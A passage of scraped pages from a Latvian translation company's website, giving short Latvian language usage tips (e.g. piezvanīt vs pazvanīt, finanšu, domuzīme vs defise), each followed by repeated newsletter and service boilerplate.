svešvalodu zināšanas. Nometnes --- > Kāda ir šo vārdu lietojuma atšķirība? Uzzini atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2017-11-10 - Modified: 2024-10-22 - URL: https://skrivanek.lv/pazvanit-pret-piezvanit/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PAZVANĪT PRET PIEZVANĪT 1 Vai draugam jāpazvana vai jāpiezvana? „Pazvanīt” latviešu valodā nozīmē „neilgu laiku, mazliet zvanīt, signalizēt”, taču šo vārdu nereti lieto vārda „piezvanīt” vietā pēc krievu valodas modeļa – „позвонить”. Pa telefonu, programmā „Skype” u. tml. mēs varam kādam piezvanīt, nevis pazvanīt. Tātad mēs piezvanīsim draugiem, lai norunātu tikšanos; piezvanīsim mammai, lai apsveiktu svētkos; piezvanīsim uzziņu birojam, lai noskaidrotu vilcienu kustības sarakstu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai našķēsimies ar olīvām vai olīvēm? Uzzini atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2017-11-10 - Modified: 2025-04-28 - URL: https://skrivanek.lv/olivas-pret-olives/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional OLĪVAS PRET OLĪVES 1 Vai našķēsimies ar olīvām vai olīvēm? Olīvkoka auglis ir „olīva”. Tas ir 4. deklinācijas lietvārds, tāpēc rakstāms ar galotni „a”, nevis „e”: olīva. Tieši tāpēc arī daudzskaitļa ģenitīva formā šajā vārdā nesastopam līdzskaņa „j” noteikto skaņu miju: mēs sakām „olīvkoks”, nevis „olīvjkoks”, „olīvu eļļa”, nevis „olīvju eļļa”. Tātad uz galda liksim melnās vai zaļās olīvas. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kad pareizi ir teikt „ilggadīgs”, bet kad –„ilggadējs”? Ieskaties un uzzini atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - Published: 2017-11-10 - Modified: 2024-10-23 - URL: https://skrivanek.lv/ilggadigs-pret-ilggadejs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ILGGADĪGS PRET ILGGADĒJS 1 Kad pareizi ir teikt „ilggadīgs”, bet kad –„ilggadējs”? „Ilggadējs” – tāds, kas darbojas vai noris ilgus gadus, piemēram, ilggadējs pētījums, „ilggadējs darbinieks”. „Ilggadīgs” – tāds, kas aug trīs vai vairākus gadus, piemēram, „ilggadīgi augi”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā atšķiras vārda „cilvēcīgs” un „cilvēcisks” lietojums? Ieskaties un uzzini atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - Published: 2017-11-10 - Modified: 2024-09-12 - URL: https://skrivanek.lv/cilvecigs-pret-cilvecisks/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional CILVĒCĪGS PRET CILVĒCISKS 1 Kā atšķiras vārda „cilvēcīgs” un „cilvēcisks” lietojums? „Cilvēcīgs” ir tāds, kurš pret sevi un citiem izturas godprātīgi un ar cieņu (piemēram, „cilvēcīga attieksme”, „cilvēcīga izturēšanās”). Savukārt „cilvēcisks” – tāds, kas raksturīgs cilvēkam un kurā izpaužas cilvēkam raksturīgās īpašības (piemēram, „cilvēciskas vājības”, „cilvēciskas emocijas”). Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ieskaties un uzzini atbildi! Citi SKRIVANEK latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2017-11-10 - Modified: 2024-07-11 - URL: https://skrivanek.lv/vai-ne-pret-vai-ne/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VAI NE PRET VAI NĒ 1 „Izlemsim – rakstīt vai ne” vai „Izlemsim – rakstīt vai nē”? Vārds „ne” tiek lietots, lai aizstātu iepriekš nosaukto darbības vārdu noliegumā formā, piemēram, „Mums jāizlemj – braukt vai ne”; „Jānis zīlē, vai Anna viņu mīl vai ne”. Šajos piemēros „ne” aizstāj darbības vārda noliegto formu, tātad piemēri ar abām pilnajām darbības vārdu formām būtu šādi: „Mums jāizlemj – braukt vai nebraukt”; „Jānis zīlē, vai Anna viņu mīl vai nemīl”. Bieži šādos gadījumos vārdu savienojuma „vai ne” vietā sastopams vārdu savienojums „vai nē”. Domājams, šāds lietojums radies pēc analoģijas ar nereti lietoto pretstatu „jā vai nē”, piemēram: „Jums pašam jāizlemj – jā vai nē”; „Vai balsosiet? Jā vai nē? ”. Vārds „nē” lietots kā pretstats vārdam „jā”, tas neaizstāj iepriekš minēta darbības vārda noliegto formu, kā to dara „ne”. Tātad teiksim: „Izlemsim – rakstīt vai ne”; „Šodien spīdēs saule, bet rīt ne”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ieskaties un uzzini atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2017-11-10 - Modified: 2024-08-13 - URL: https://skrivanek.lv/augstak-minetais-pret-ieprieks-minetais/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional AUGSTĀK MINĒTAIS PRET IEPRIEKŠ MINĒTAIS 1 Gan vienu, gan otru vārdu savienojumu izmanto, kad runā par kaut ko, kas jau iepriekš ticis pieminēts vai apspriests, tos lieto arī pēc uzskaitījuma. Tomēr stilistiski pareizi ir teikt „iepriekš minētais” – tādējādi precīzi norādot/pasakot, ka ar to domājam kādu jau iepriekš (nevis – „augstāk”) pārrunātu lietu. Piemēram: „Karte, kompass un siltas zeķes ir viss, kas man vajadzīgs pārgājienam. Visas iepriekš minētās lietas esmu jau salikusi somā”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā būs pareizi – finansu vai finanšu krīze? Uzzini! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē - Published: 2017-11-10 - Modified: 2024-10-23 - URL: https://skrivanek.lv/finansu-pret-finansu/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional FINANSU PRET FINANŠU 1 Kā būs pareizi – finansu krīze vai finanšu krīze? Latviešu valodā 5. deklinācijas vārdiem, kas beidzas ar „-anse”, „-ese” u. tml. , daudzskaitļa ģenitīvā notiek līdzskaņu „s/š” mija, piemēram, „aplēse” – „aplēšu”; „nianse” – „nianšu”. Līdz 20. gs. 90. gadiem vārdam „finanses” bija pieļaujama paralēlforma bez līdzskaņu mijas. LZA Terminoloģijas komisija 2002. gada 30. aprīlī ir pieņēmusi lēmumu, ka vārds „finanses” vairs nav izņēmums un ir lokāms tāpat kā citi vārdi ar izskaņu „-anse”, „-ese” u. tml. Tātad ir Latvijas Republikas Finanšu ministrija, finanšu ministrs, finanšu krīze. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ieskaties un uzzini atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2017-11-10 - Modified: 2024-08-06 - URL: https://skrivanek.lv/islande-pret-islande/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ISLANDE PRET ĪSLANDE 1 Jautājumu par šīs valsts nosaukuma pareizrakstību latviešu valodā skatīja vairākās Valsts valodas centra Latviešu valodas ekspertu komisijas sēdēs, kurās tika rasti argumenti gan par labu biežāk sastopamajai (pēdējo gadu desmitu laikā biežāk lietotajai) formai „Islande”, gan rakstības formai ar garo „ī”, proti, „Īslande”, kā tika ieteikts 2006. gadā. 2011. gada 15. jūnija sēdē Latviešu valodas ekspertu komisija secināja: kaut gan no lingvistiskā viedokļa pareizāka būtu šīs valsts nosaukuma forma ar garo „ī”, tomēr, ievērojot tradīcijas citvalodu ģeogrāfisko nosaukumu atveidē, par pilnīgi atbilstošu latviešu valodas normām uzskatāma arī forma „Islande”. Tādēļ pašlaik spēkā ir abas formas. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ieskaties un uzzini atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2017-11-10 - Modified: 2025-03-19 - URL: https://skrivanek.lv/mazgatava-pret-mazgatuve/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MAZGĀTAVA PRET MAZGĀTUVE 1 Automašīnas vai veļu piedāvā mazgāt gan mazgātavās, gan mazgātuvēs. Kuras ir īstās? Ar izskaņu „-uve” atvasina lietvārdus no darbības vārdiem ar vienu zilbi, piemēram, „malt” – „maltuve”; „braukt” – „brauktuve”. Ar izskaņu „-ava” atvasina lietvārdus no darbības vārdiem ar divām vai vairākām zilbēm, piemēram: „glabāt” – „glabātava”; „mazgāt” – „mazgātava”. Pareizi ir automazgātava, veļasmazgātava. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ieskaties un uzzini atbildi! Citi SKRIVANEK latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2017-11-10 - Modified: 2024-12-02 - URL: https://skrivanek.lv/varama-sals-pret-varamais-sals/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VĀRĀMĀ SĀLS PRET VĀRĀMAIS SĀLS 1 Vai pareizi ir „vārāmā sāls” vai „vārāmais sāls”? Vārds „sāls” ir vīriešu dzimtes lietvārds, tātad pareizi ir „vārāmais sāls”.  Pamatojums – pret vārda „sāls” dalījumu pārtikā un ķīmijā jau pirms daudziem gadiem iebilda ķīmiķi, jo sāls kā ķīmiskais elements ir abos gadījumos, tāpēc nav pamata līdzīgu (vai pat vienādu! ) ķīmisku elementu apzīmēšanai izšķirt vīriešu un sieviešu dzimti. Tāpēc LZA Terminoloģijas komisija pieņēma lēmumu, ka visu veidu „sāls” ir vīriešu dzimtes vārds. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kad lieto domuzīmi „–”, bet kad defisi „-”? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2017-10-30 - Modified: 2024-11-08 - URL: https://skrivanek.lv/domuzime-pret-defise/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DOMUZĪME PRET DEFISE 1 Kad lieto domuzīmi „–”, bet kad defisi „-”? Tekstos domuzīmi „–” visbiežāk lieto, aizstājot izlaistus vārdus, piemēram, „Jānis ir gudrs, bet Kārlis – vēl gudrāks”, vai atdalot savrupinājumus: „Jānis – stalts un spēcīgs – ballē apbūra dāmas. ” Vienotājdomuzīmi „–” (bez atstarpēm abās pusēs) lieto starp vārdiem, kas nosauc pretējos polus, piemēram, „vilciens Rīga–Aizkraukle atiet no 5. perona”, vai prievārda „līdz” vietā, ja saistāmie jēdzieni izteikti ar cipariem, piemēram, „2017. –2025. gada plāns”. Defisi „-” lieto: dubultuzvārdos, piemēram, „Vaira Vīķe-Freiberga”; īpašvārdos, kas veido vienu ģeogrāfisku nosaukumu, – „Klermona-Ferāna”; marku, standartu apzīmējumos, piemēram, „Audi-80”; starp ciparu vai simbolu grupām – „LV-1011”; sarežģītu ķīmisku savienojumu nosaukumos, piemēram, „akrilnitrila-butadiēna kopolimērs”. Jāatceras, ka defisi nelieto starp lietvārdu un kādu alfabēta burtu, piemēram, nevis „T-krekls”, bet „T krekls”, nevis „C-vitamīns”, bet „C vitamīns”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai dokumentus skenēsim vai skanēsim? Ieskaties un uzzini pareizo atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - Published: 2017-10-30 - Modified: 2025-03-12 - URL: https://skrivanek.lv/skenet-pret-skanet/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SKENĒT PRET SKANĒT 1 Vai dokumentus skenēsim vai skanēsim? Vārds „skenēt” nozīmē ‘lietot skeneri, lai pārveidotu kaut ko iespiestu par datorā lietojamu datni’. Pamatā ir angļu valodas vārds „scan”, un atbilstoši izrunai tas latviešu valodā atveidojams „skenēt”. Tātad atceramies – dokumentus un fotogrāfijas mēs skenējam! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai svētkos gatavosim rasolu vai rosolu? Ieskaties un uzzini pareizo atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - Published: 2017-10-30 - Modified: 2024-10-21 - URL: https://skrivanek.lv/rasols-pret-rosols/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional RASOLS VAI ROSOLS 1 Vai svētkos gatavosim 